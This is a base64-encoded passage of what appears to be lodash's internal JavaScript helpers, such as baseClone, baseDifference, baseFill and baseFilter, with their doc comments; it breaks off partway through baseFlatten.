ZnVuY3Rpb24gYmFzZUNsYW1wKG51bWJlciwgbG93ZXIsIHVwcGVyKSB7XG4gICAgICBpZiAobnVtYmVyID09PSBudW1iZXIpIHtcbiAgICAgICAgaWYgKHVwcGVyICE9PSB1bmRlZmluZWQpIHtcbiAgICAgICAgICBudW1iZXIgPSBudW1iZXIgPD0gdXBwZXIgPyBudW1iZXIgOiB1cHBlcjtcbiAgICAgICAgfVxuICAgICAgICBpZiAobG93ZXIgIT09IHVuZGVmaW5lZCkge1xuICAgICAgICAgIG51bWJlciA9IG51bWJlciA+PSBsb3dlciA/IG51bWJlciA6IGxvd2VyO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgICByZXR1cm4gbnVtYmVyO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBfLmNsb25lYCBhbmQgYF8uY2xvbmVEZWVwYCB3aGljaCB0cmFja3NcbiAgICAgKiB0cmF2ZXJzZWQgb2JqZWN0cy5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gY2xvbmUuXG4gICAgICogQHBhcmFtIHtib29sZWFufSBiaXRtYXNrIFRoZSBiaXRtYXNrIGZsYWdzLlxuICAgICAqICAxIC0gRGVlcCBjbG9uZVxuICAgICAqICAyIC0gRmxhdHRlbiBpbmhlcml0ZWQgcHJvcGVydGllc1xuICAgICAqICA0IC0gQ2xvbmUgc3ltYm9sc1xuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IFtjdXN0b21pemVyXSBUaGUgZnVuY3Rpb24gdG8gY3VzdG9taXplIGNsb25pbmcuXG4gICAgICogQHBhcmFtIHtzdHJpbmd9IFtrZXldIFRoZSBrZXkgb2YgYHZhbHVlYC5cbiAgICAgKiBAcGFyYW0ge09iamVjdH0gW29iamVjdF0gVGhlIHBhcmVudCBvYmplY3Qgb2YgYHZhbHVlYC5cbiAgICAgKiBAcGFyYW0ge09iamVjdH0gW3N0YWNrXSBUcmFja3MgdHJhdmVyc2VkIG9iamVjdHMgYW5kIHRoZWlyIGNsb25lIGNvdW50ZXJwYXJ0cy5cbiAgICAgKiBAcmV0dXJucyB7Kn0gUmV0dXJucyB0aGUgY2xvbmVkIHZhbHVlLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGJhc2VDbG9uZSh2YWx1ZSwgYml0bWFzaywgY3VzdG9taXplciwga2V5LCBvYmplY3QsIHN0YWNrKSB7XG4gICAgICB2YXIgcmVzdWx0LFxuICAgICAgICAgIGlzRGVlcCA9IGJpdG1hc2sgJiBDTE9ORV9ERUVQX0ZMQUcsXG4gICAgICAgICAgaXNGbGF0ID0gYml0bWFzayAmIENMT05FX0ZMQVRfRkxBRyxcbiAgICAgICAgICBpc0Z1bGwgPSBiaXRtYXNrICYgQ0xPTkVfU1lNQk9MU19GTEFHO1xuXG4gICAgICBpZiAoY3VzdG9taXplcikge1xuICAgICAgICByZXN1bHQgPSBvYmplY3QgPyBjdXN0b21pemVyKHZhbHVlLCBrZXksIG9iamVjdCwgc3RhY2spIDogY3VzdG9taXplcih2YWx1ZSk7XG4gICAgICB9XG4gICAgICBpZiAocmVzdWx0ICE9PSB1bmRlZmluZWQpIHtcbiAgICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICAgIH1cbiAgICAgIGlmICghaXNPYmplY3QodmFsdWUpKSB7XG4gICAgICAgIHJldHVybiB2YWx1ZTtcbiAgICAgIH1cbiAgICAgIHZhciBpc0FyciA9IGlzQXJyYXkodmFsdWUpO1xuICAgICAgaWYgKGlzQXJyKSB7XG4gICAgICAgIHJlc3VsdCA9IGluaXRDbG9uZUFycmF5KHZhbHVlKTtcbiAgICAgICAgaWYgKCFpc0RlZXApIHtcbiAgICAgICAgICByZXR1cm4gY29weUFycmF5KHZhbHVlLCByZXN1bHQpO1xuICAgICAgICB9XG4gICAgICB9IGVsc2Uge1xuICAgICAgICB2YXIgdGFnID0gZ2V0VGFnKHZhbHVlKSxcbiAgICAgICAgICAgIGlzRnVuYyA9IHRhZyA9PSBmdW5jVGFnIHx8IHRhZyA9PSBnZW5UYWc7XG5cbiAgICAgICAgaWYgKGlzQnVmZmVyKHZhbHVlKSkge1xuICAgICAgICAgIHJldHVybiBjbG9uZUJ1ZmZlcih2YWx1ZSwgaXNEZWVwKTtcbiAgICAgICAgfVxuICAgICAgICBpZiAodGFnID09IG9iamVjdFRhZyB8fCB0YWcgPT0gYXJnc1RhZyB8fCAoaXNGdW5jICYmICFvYmplY3QpKSB7XG4gICAgICAgICAgcmVzdWx0ID0gKGlzRmxhdCB8fCBpc0Z1bmMpID8ge30gOiBpbml0Q2xvbmVPYmplY3QodmFsdWUpO1xuICAgICAgICAgIGlmICghaXNEZWVwKSB7XG4gICAgICAgICAgICByZXR1cm4gaXNGbGF0XG4gICAgICAgICAgICAgID8gY29weVN5bWJvbHNJbih2YWx1ZSwgYmFzZUFzc2lnbkluKHJlc3VsdCwgdmFsdWUpKVxuICAgICAgICAgICAgICA6IGNvcHlTeW1ib2xzKHZhbHVlLCBiYXNlQXNzaWduKHJlc3VsdCwgdmFsdWUpKTtcbiAgICAgICAgICB9XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgaWYgKCFjbG9uZWFibGVUYWdzW3RhZ10pIHtcbiAgICAgICAgICAgIHJldHVybiBvYmplY3QgPyB2YWx1ZSA6IHt9O1xuICAgICAgICAgIH1cbiAgICAgICAgICByZXN1bHQgPSBpbml0Q2xvbmVCeVRhZyh2YWx1ZSwgdGFnLCBpc0RlZXApO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgICAvLyBDaGVjayBmb3IgY2lyY3VsYXIgcmVmZXJlbmNlcyBhbmQgcmV0dXJuIGl0cyBjb3JyZXNwb25kaW5nIGNsb25lLlxuICAgICAgc3RhY2sgfHwgKHN0YWNrID0gbmV3IFN0YWNrKTtcbiAgICAgIHZhciBzdGFja2VkID0gc3RhY2suZ2V0KHZhbHVlKTtcbiAgICAgIGlmIChzdGFja2VkKSB7XG4gICAgICAgIHJldHVybiBzdGFja2VkO1xuICAgICAgfVxuICAgICAgc3RhY2suc2V0KHZhbHVlLCByZXN1bHQpO1xuXG4gICAgICBpZiAoaXNTZXQodmFsdWUpKSB7XG4gICAgICAgIHZhbHVlLmZvckVhY2goZnVuY3Rpb24oc3ViVmFsdWUpIHtcbiAgICAgICAgICByZXN1bHQuYWRkKGJhc2VDbG9uZShzdWJWYWx1ZSwgYml0bWFzaywgY3VzdG9taXplciwgc3ViVmFsdWUsIHZhbHVlLCBzdGFjaykpO1xuICAgICAgICB9KTtcbiAgICAgIH0gZWxzZSBpZiAoaXNNYXAodmFsdWUpKSB7XG4gICAgICAgIHZhbHVlLmZvckVhY2goZnVuY3Rpb24oc3ViVmFsdWUsIGtleSkge1xuICAgICAgICAgIHJlc3VsdC5zZXQoa2V5LCBiYXNlQ2xvbmUoc3ViVmFsdWUsIGJpdG1hc2ssIGN1c3RvbWl6ZXIsIGtleSwgdmFsdWUsIHN0YWNrKSk7XG4gICAgICAgIH0pO1xuICAgICAgfVxuXG4gICAgICB2YXIga2V5c0Z1bmMgPSBpc0Z1bGxcbiAgICAgICAgPyAoaXNGbGF0ID8gZ2V0QWxsS2V5c0luIDogZ2V0QWxsS2V5cylcbiAgICAgICAgOiAoaXNGbGF0ID8ga2V5c0luIDoga2V5cyk7XG5cbiAgICAgIHZhciBwcm9wcyA9IGlzQXJyID8gdW5kZWZpbmVkIDoga2V5c0Z1bmModmFsdWUpO1xuICAgICAgYXJyYXlFYWNoKHByb3BzIHx8IHZhbHVlLCBmdW5jdGlvbihzdWJWYWx1ZSwga2V5KSB7XG4gICAgICAgIGlmIChwcm9wcykge1xuICAgICAgICAgIGtleSA9IHN1YlZhbHVlO1xuICAgICAgICAgIHN1YlZhbHVlID0gdmFsdWVba2V5XTtcbiAgICAgICAgfVxuICAgICAgICAvLyBSZWN1cnNpdmVseSBwb3B1bGF0ZSBjbG9uZSAoc3VzY2VwdGlibGUgdG8gY2FsbCBzdGFjayBsaW1pdHMpLlxuICAgICAgICBhc3NpZ25WYWx1ZShyZXN1bHQsIGtleSwgYmFzZUNsb25lKHN1YlZhbHVlLCBiaXRtYXNrLCBjdXN0b21pemVyLCBrZXksIHZhbHVlLCBzdGFjaykpO1xuICAgICAgfSk7XG4gICAgICByZXR1cm4gcmVzdWx0O1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBfLmNvbmZvcm1zYCB3aGljaCBkb2Vzbid0IGNsb25lIGBzb3VyY2VgLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gc291cmNlIFRoZSBvYmplY3Qgb2YgcHJvcGVydHkgcHJlZGljYXRlcyB0byBjb25mb3JtIHRvLlxuICAgICAqIEByZXR1cm5zIHtGdW5jdGlvbn0gUmV0dXJucyB0aGUgbmV3IHNwZWMgZnVuY3Rpb24uXG4gICAgICovXG4gICAgZnVuY3Rpb24gYmFzZUNvbmZvcm1zKHNvdXJjZSkge1xuICAgICAgdmFyIHByb3BzID0ga2V5cyhzb3VyY2UpO1xuICAgICAgcmV0dXJuIGZ1bmN0aW9uKG9iamVjdCkge1xuICAgICAgICByZXR1cm4gYmFzZUNvbmZvcm1zVG8ob2JqZWN0LCBzb3VyY2UsIHByb3BzKTtcbiAgICAgIH07XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhlIGJhc2UgaW1wbGVtZW50YXRpb24gb2YgYF8uY29uZm9ybXNUb2Agd2hpY2ggYWNjZXB0cyBgcHJvcHNgIHRvIGNoZWNrLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gb2JqZWN0IFRoZSBvYmplY3QgdG8gaW5zcGVjdC5cbiAgICAgKiBAcGFyYW0ge09iamVjdH0gc291cmNlIFRoZSBvYmplY3Qgb2YgcHJvcGVydHkgcHJlZGljYXRlcyB0byBjb25mb3JtIHRvLlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBgb2JqZWN0YCBjb25mb3JtcywgZWxzZSBgZmFsc2VgLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGJhc2VDb25mb3Jtc1RvKG9iamVjdCwgc291cmNlLCBwcm9wcykge1xuICAgICAgdmFyIGxlbmd0aCA9IHByb3BzLmxlbmd0aDtcbiAgICAgIGlmIChvYmplY3QgPT0gbnVsbCkge1xuICAgICAgICByZXR1cm4gIWxlbmd0aDtcbiAgICAgIH1cbiAgICAgIG9iamVjdCA9IE9iamVjdChvYmplY3QpO1xuICAgICAgd2hpbGUgKGxlbmd0aC0tKSB7XG4gICAgICAgIHZhciBrZXkgPSBwcm9wc1tsZW5ndGhdLFxuICAgICAgICAgICAgcHJlZGljYXRlID0gc291cmNlW2tleV0sXG4gICAgICAgICAgICB2YWx1ZSA9IG9iamVjdFtrZXldO1xuXG4gICAgICAgIGlmICgodmFsdWUgPT09IHVuZGVmaW5lZCAmJiAhKGtleSBpbiBvYmplY3QpKSB8fCAhcHJlZGljYXRlKHZhbHVlKSkge1xuICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgcmV0dXJuIHRydWU7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhlIGJhc2UgaW1wbGVtZW50YXRpb24gb2YgYF8uZGVsYXlgIGFuZCBgXy5kZWZlcmAgd2hpY2ggYWNjZXB0cyBgYXJnc2BcbiAgICAgKiB0byBwcm92aWRlIHRvIGBmdW5jYC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gZnVuYyBUaGUgZnVuY3Rpb24gdG8gZGVsYXkuXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IHdhaXQgVGhlIG51bWJlciBvZiBtaWxsaXNlY29uZHMgdG8gZGVsYXkgaW52b2NhdGlvbi5cbiAgICAgKiBAcGFyYW0ge0FycmF5fSBhcmdzIFRoZSBhcmd1bWVudHMgdG8gcHJvdmlkZSB0byBgZnVuY2AuXG4gICAgICogQHJldHVybnMge251bWJlcnxPYmplY3R9IFJldHVybnMgdGhlIHRpbWVyIGlkIG9yIHRpbWVvdXQgb2JqZWN0LlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGJhc2VEZWxheShmdW5jLCB3YWl0LCBhcmdzKSB7XG4gICAgICBpZiAodHlwZW9mIGZ1bmMgIT0gJ2Z1bmN0aW9uJykge1xuICAgICAgICB0aHJvdyBuZXcgVHlwZUVycm9yKEZVTkNfRVJST1JfVEVYVCk7XG4gICAgICB9XG4gICAgICByZXR1cm4gc2V0VGltZW91dChmdW5jdGlvbigpIHsgZnVuYy5hcHBseSh1bmRlZmluZWQsIGFyZ3MpOyB9LCB3YWl0KTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGUgYmFzZSBpbXBsZW1lbnRhdGlvbiBvZiBtZXRob2RzIGxpa2UgYF8uZGlmZmVyZW5jZWAgd2l0aG91dCBzdXBwb3J0XG4gICAgICogZm9yIGV4Y2x1ZGluZyBtdWx0aXBsZSBhcnJheXMgb3IgaXRlcmF0ZWUgc2hvcnRoYW5kcy5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtBcnJheX0gYXJyYXkgVGhlIGFycmF5IHRvIGluc3BlY3QuXG4gICAgICogQHBhcmFtIHtBcnJheX0gdmFsdWVzIFRoZSB2YWx1ZXMgdG8gZXhjbHVkZS5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBbaXRlcmF0ZWVdIFRoZSBpdGVyYXRlZSBpbnZva2VkIHBlciBlbGVtZW50LlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IFtjb21wYXJhdG9yXSBUaGUgY29tcGFyYXRvciBpbnZva2VkIHBlciBlbGVtZW50LlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgbmV3IGFycmF5IG9mIGZpbHRlcmVkIHZhbHVlcy5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBiYXNlRGlmZmVyZW5jZShhcnJheSwgdmFsdWVzLCBpdGVyYXRlZSwgY29tcGFyYXRvcikge1xuICAgICAgdmFyIGluZGV4ID0gLTEsXG4gICAgICAgICAgaW5jbHVkZXMgPSBhcnJheUluY2x1ZGVzLFxuICAgICAgICAgIGlzQ29tbW9uID0gdHJ1ZSxcbiAgICAgICAgICBsZW5ndGggPSBhcnJheS5sZW5ndGgsXG4gICAgICAgICAgcmVzdWx0ID0gW10sXG4gICAgICAgICAgdmFsdWVzTGVuZ3RoID0gdmFsdWVzLmxlbmd0aDtcblxuICAgICAgaWYgKCFsZW5ndGgpIHtcbiAgICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICAgIH1cbiAgICAgIGlmIChpdGVyYXRlZSkge1xuICAgICAgICB2YWx1ZXMgPSBhcnJheU1hcCh2YWx1ZXMsIGJhc2VVbmFyeShpdGVyYXRlZSkpO1xuICAgICAgfVxuICAgICAgaWYgKGNvbXBhcmF0b3IpIHtcbiAgICAgICAgaW5jbHVkZXMgPSBhcnJheUluY2x1ZGVzV2l0aDtcbiAgICAgICAgaXNDb21tb24gPSBmYWxzZTtcbiAgICAgIH1cbiAgICAgIGVsc2UgaWYgKHZhbHVlcy5sZW5ndGggPj0gTEFSR0VfQVJSQVlfU0laRSkge1xuICAgICAgICBpbmNsdWRlcyA9IGNhY2hlSGFzO1xuICAgICAgICBpc0NvbW1vbiA9IGZhbHNlO1xuICAgICAgICB2YWx1ZXMgPSBuZXcgU2V0Q2FjaGUodmFsdWVzKTtcbiAgICAgIH1cbiAgICAgIG91dGVyOlxuICAgICAgd2hpbGUgKCsraW5kZXggPCBsZW5ndGgpIHtcbiAgICAgICAgdmFyIHZhbHVlID0gYXJyYXlbaW5kZXhdLFxuICAgICAgICAgICAgY29tcHV0ZWQgPSBpdGVyYXRlZSA9PSBudWxsID8gdmFsdWUgOiBpdGVyYXRlZSh2YWx1ZSk7XG5cbiAgICAgICAgdmFsdWUgPSAoY29tcGFyYXRvciB8fCB2YWx1ZSAhPT0gMCkgPyB2YWx1ZSA6IDA7XG4gICAgICAgIGlmIChpc0NvbW1vbiAmJiBjb21wdXRlZCA9PT0gY29tcHV0ZWQpIHtcbiAgICAgICAgICB2YXIgdmFsdWVzSW5kZXggPSB2YWx1ZXNMZW5ndGg7XG4gICAgICAgICAgd2hpbGUgKHZhbHVlc0luZGV4LS0pIHtcbiAgICAgICAgICAgIGlmICh2YWx1ZXNbdmFsdWVzSW5kZXhdID09PSBjb21wdXRlZCkge1xuICAgICAgICAgICAgICBjb250aW51ZSBvdXRlcjtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICB9XG4gICAgICAgICAgcmVzdWx0LnB1c2godmFsdWUpO1xuICAgICAgICB9XG4gICAgICAgIGVsc2UgaWYgKCFpbmNsdWRlcyh2YWx1ZXMsIGNvbXB1dGVkLCBjb21wYXJhdG9yKSkge1xuICAgICAgICAgIHJlc3VsdC5wdXNoKHZhbHVlKTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGUgYmFzZSBpbXBsZW1lbnRhdGlvbiBvZiBgXy5mb3JFYWNoYCB3aXRob3V0IHN1cHBvcnQgZm9yIGl0ZXJhdGVlIHNob3J0aGFuZHMuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7QXJyYXl8T2JqZWN0fSBjb2xsZWN0aW9uIFRoZSBjb2xsZWN0aW9uIHRvIGl0ZXJhdGUgb3Zlci5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBpdGVyYXRlZSBUaGUgZnVuY3Rpb24gaW52b2tlZCBwZXIgaXRlcmF0aW9uLlxuICAgICAqIEByZXR1cm5zIHtBcnJheXxPYmplY3R9IFJldHVybnMgYGNvbGxlY3Rpb25gLlxuICAgICAqL1xuICAgIHZhciBiYXNlRWFjaCA9IGNyZWF0ZUJhc2VFYWNoKGJhc2VGb3JPd24pO1xuXG4gICAgLyoqXG4gICAgICogVGhlIGJhc2UgaW1wbGVtZW50YXRpb24gb2YgYF8uZm9yRWFjaFJpZ2h0YCB3aXRob3V0IHN1cHBvcnQgZm9yIGl0ZXJhdGVlIHNob3J0aGFuZHMuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7QXJyYXl8T2JqZWN0fSBjb2xsZWN0aW9uIFRoZSBjb2xsZWN0aW9uIHRvIGl0ZXJhdGUgb3Zlci5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBpdGVyYXRlZSBUaGUgZnVuY3Rpb24gaW52b2tlZCBwZXIgaXRlcmF0aW9uLlxuICAgICAqIEByZXR1cm5zIHtBcnJheXxPYmplY3R9IFJldHVybnMgYGNvbGxlY3Rpb25gLlxuICAgICAqL1xuICAgIHZhciBiYXNlRWFjaFJpZ2h0ID0gY3JlYXRlQmFzZUVhY2goYmFzZUZvck93blJpZ2h0LCB0cnVlKTtcblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBfLmV2ZXJ5YCB3aXRob3V0IHN1cHBvcnQgZm9yIGl0ZXJhdGVlIHNob3J0aGFuZHMuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7QXJyYXl8T2JqZWN0fSBjb2xsZWN0aW9uIFRoZSBjb2xsZWN0aW9uIHRvIGl0ZXJhdGUgb3Zlci5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBwcmVkaWNhdGUgVGhlIGZ1bmN0aW9uIGludm9rZWQgcGVyIGl0ZXJhdGlvbi5cbiAgICAgKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAgaWYgYWxsIGVsZW1lbnRzIHBhc3MgdGhlIHByZWRpY2F0ZSBjaGVjayxcbiAgICAgKiAgZWxzZSBgZmFsc2VgXG4gICAgICovXG4gICAgZnVuY3Rpb24gYmFzZUV2ZXJ5KGNvbGxlY3Rpb24sIHByZWRpY2F0ZSkge1xuICAgICAgdmFyIHJlc3VsdCA9IHRydWU7XG4gICAgICBiYXNlRWFjaChjb2xsZWN0aW9uLCBmdW5jdGlvbih2YWx1ZSwgaW5kZXgsIGNvbGxlY3Rpb24pIHtcbiAgICAgICAgcmVzdWx0ID0gISFwcmVkaWNhdGUodmFsdWUsIGluZGV4LCBjb2xsZWN0aW9uKTtcbiAgICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICAgIH0pO1xuICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGUgYmFzZSBpbXBsZW1lbnRhdGlvbiBvZiBtZXRob2RzIGxpa2UgYF8ubWF4YCBhbmQgYF8ubWluYCB3aGljaCBhY2NlcHRzIGFcbiAgICAgKiBgY29tcGFyYXRvcmAgdG8gZGV0ZXJtaW5lIHRoZSBleHRyZW11bSB2YWx1ZS5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtBcnJheX0gYXJyYXkgVGhlIGFycmF5IHRvIGl0ZXJhdGUgb3Zlci5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBpdGVyYXRlZSBUaGUgaXRlcmF0ZWUgaW52b2tlZCBwZXIgaXRlcmF0aW9uLlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IGNvbXBhcmF0b3IgVGhlIGNvbXBhcmF0b3IgdXNlZCB0byBjb21wYXJlIHZhbHVlcy5cbiAgICAgKiBAcmV0dXJucyB7Kn0gUmV0dXJucyB0aGUgZXh0cmVtdW0gdmFsdWUuXG4gICAgICovXG4gICAgZnVuY3Rpb24gYmFzZUV4dHJlbXVtKGFycmF5LCBpdGVyYXRlZSwgY29tcGFyYXRvcikge1xuICAgICAgdmFyIGluZGV4ID0gLTEsXG4gICAgICAgICAgbGVuZ3RoID0gYXJyYXkubGVuZ3RoO1xuXG4gICAgICB3aGlsZSAoKytpbmRleCA8IGxlbmd0aCkge1xuICAgICAgICB2YXIgdmFsdWUgPSBhcnJheVtpbmRleF0sXG4gICAgICAgICAgICBjdXJyZW50ID0gaXRlcmF0ZWUodmFsdWUpO1xuXG4gICAgICAgIGlmIChjdXJyZW50ICE9IG51bGwgJiYgKGNvbXB1dGVkID09PSB1bmRlZmluZWRcbiAgICAgICAgICAgICAgPyAoY3VycmVudCA9PT0gY3VycmVudCAmJiAhaXNTeW1ib2woY3VycmVudCkpXG4gICAgICAgICAgICAgIDogY29tcGFyYXRvcihjdXJyZW50LCBjb21wdXRlZClcbiAgICAgICAgICAgICkpIHtcbiAgICAgICAgICB2YXIgY29tcHV0ZWQgPSBjdXJyZW50LFxuICAgICAgICAgICAgICByZXN1bHQgPSB2YWx1ZTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGUgYmFzZSBpbXBsZW1lbnRhdGlvbiBvZiBgXy5maWxsYCB3aXRob3V0IGFuIGl0ZXJhdGVlIGNhbGwgZ3VhcmQuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7QXJyYXl9IGFycmF5IFRoZSBhcnJheSB0byBmaWxsLlxuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGZpbGwgYGFycmF5YCB3aXRoLlxuICAgICAqIEBwYXJhbSB7bnVtYmVyfSBbc3RhcnQ9MF0gVGhlIHN0YXJ0IHBvc2l0aW9uLlxuICAgICAqIEBwYXJhbSB7bnVtYmVyfSBbZW5kPWFycmF5Lmxlbmd0aF0gVGhlIGVuZCBwb3NpdGlvbi5cbiAgICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgYGFycmF5YC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBiYXNlRmlsbChhcnJheSwgdmFsdWUsIHN0YXJ0LCBlbmQpIHtcbiAgICAgIHZhciBsZW5ndGggPSBhcnJheS5sZW5ndGg7XG5cbiAgICAgIHN0YXJ0ID0gdG9JbnRlZ2VyKHN0YXJ0KTtcbiAgICAgIGlmIChzdGFydCA8IDApIHtcbiAgICAgICAgc3RhcnQgPSAtc3RhcnQgPiBsZW5ndGggPyAwIDogKGxlbmd0aCArIHN0YXJ0KTtcbiAgICAgIH1cbiAgICAgIGVuZCA9IChlbmQgPT09IHVuZGVmaW5lZCB8fCBlbmQgPiBsZW5ndGgpID8gbGVuZ3RoIDogdG9JbnRlZ2VyKGVuZCk7XG4gICAgICBpZiAoZW5kIDwgMCkge1xuICAgICAgICBlbmQgKz0gbGVuZ3RoO1xuICAgICAgfVxuICAgICAgZW5kID0gc3RhcnQgPiBlbmQgPyAwIDogdG9MZW5ndGgoZW5kKTtcbiAgICAgIHdoaWxlIChzdGFydCA8IGVuZCkge1xuICAgICAgICBhcnJheVtzdGFydCsrXSA9IHZhbHVlO1xuICAgICAgfVxuICAgICAgcmV0dXJuIGFycmF5O1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBfLmZpbHRlcmAgd2l0aG91dCBzdXBwb3J0IGZvciBpdGVyYXRlZSBzaG9ydGhhbmRzLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge0FycmF5fE9iamVjdH0gY29sbGVjdGlvbiBUaGUgY29sbGVjdGlvbiB0byBpdGVyYXRlIG92ZXIuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gcHJlZGljYXRlIFRoZSBmdW5jdGlvbiBpbnZva2VkIHBlciBpdGVyYXRpb24uXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBuZXcgZmlsdGVyZWQgYXJyYXkuXG4gICAgICovXG4gICAgZnVuY3Rpb24gYmFzZUZpbHRlcihjb2xsZWN0aW9uLCBwcmVkaWNhdGUpIHtcbiAgICAgIHZhciByZXN1bHQgPSBbXTtcbiAgICAgIGJhc2VFYWNoKGNvbGxlY3Rpb24sIGZ1bmN0aW9uKHZhbHVlLCBpbmRleCwgY29sbGVjdGlvbikge1xuICAgICAgICBpZiAocHJlZGljYXRlKHZhbHVlLCBpbmRleCwgY29sbGVjdGlvbikpIHtcbiAgICAgICAgICByZXN1bHQucHVzaCh2YWx1ZSk7XG4gICAgICAgIH1cbiAgICAgIH0pO1xuICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGUgYmFzZSBpbXBsZW1lbnRhdGlvbiBvZiBgXy5mbGF0dGVuYCB3aXRoIHN1cHBvcnQgZm9yIHJlc3RyaWN0aW5nIGZsYXR0ZW5pbmcuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7QXJyYXl9IGFycmF5IFRoZSBhcnJheSB0byBmbGF0dGVuLlxuICAgICAqIEBwYXJhbSB7bnVtYmVyfSBkZXB0aCBUaGUgbWF4aW11bSByZWN1cnNpb24gZGVwdGguXG4gICAgICogQHBhcmFtIHtib29sZWFufSBbcHJlZGljYXRlPWlzRmxhdHRlbmFibGVdIFRoZSBmdW5jdGlvbiBpbnZva2VkIHBlciBpdGVyYXRpb24uXG4gICAgICogQHBhcmFtIHtib29sZWFufSBbaXNTdHJpY3RdIFJlc3RyaWN0IHRvIHZhbHVlcyB0aGF0IHBhc3MgYHByZWRpY2F0ZWAgY2hlY2tzLlxuICAgICAqIEBwYXJhbSB7QXJyYXl9IFtyZXN1bHQ9W11dIFRoZSBpbml0aWFsIHJlc3VsdCB2YWx1ZS5cbiAgICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgdGhlIG5ldyBmbGF0dGVuZWQgYXJyYXkuXG4gICAgICovXG4gICAgZnVuY3Rpb24gYmFzZUZsYXR0ZW4oYXJyYXksIGRlcHRoLCBwcmVkaWNhdGUsIGlzU3RyaWN0LCByZXN1bHQpIHtcbiAgICAgIHZhciBpbmRleCA9IC0xLFxuICAgICAgICAgIGxlbmd0aCA9IGFycmF5Lmxlbmd0aDtcblxuICAgICAgcHJlZGljYXRlIHx8IChwcmVkaWNhdGUgPSBpc0ZsYXR0ZW5hYmxlKTtcbiAgICAgIHJlc3VsdCB8fCAocmVzdWx0ID0gW10pO1xuXG4gICAgICB3aGlsZSAoKytpbmRleCA8IGxlbmd0aCkge1xuICAgICAgICB2YXIgdmFsdWUgPSBhcnJheVtpbmRleF07XG4gICAgICAgIGlmIChkZXB0aCA+IDAgJiYgcHJlZGljYXRlKHZhbHVlKSkge1xuICAgICAgICAgIGlmIChkZXB0aCA+IDEpIHtcbiAgICAgICAgICAgIC8vIFJlY3Vyc2l2ZWx5IGZsYXR0ZW4gYXJyYXlzIChzdXNjZXB0aWJsZSB0byBjYWxsIHN0YWNrIGxpbWl0cykuXG4gICAgICAgICAgICBiYXNlRmxhdHRlbih2YWx1ZSwgZGVwdGggLSAxLCBwcmVkaWNhdGUsIGlzU3RyaWN0LCByZXN1bHQpO1xuICAgI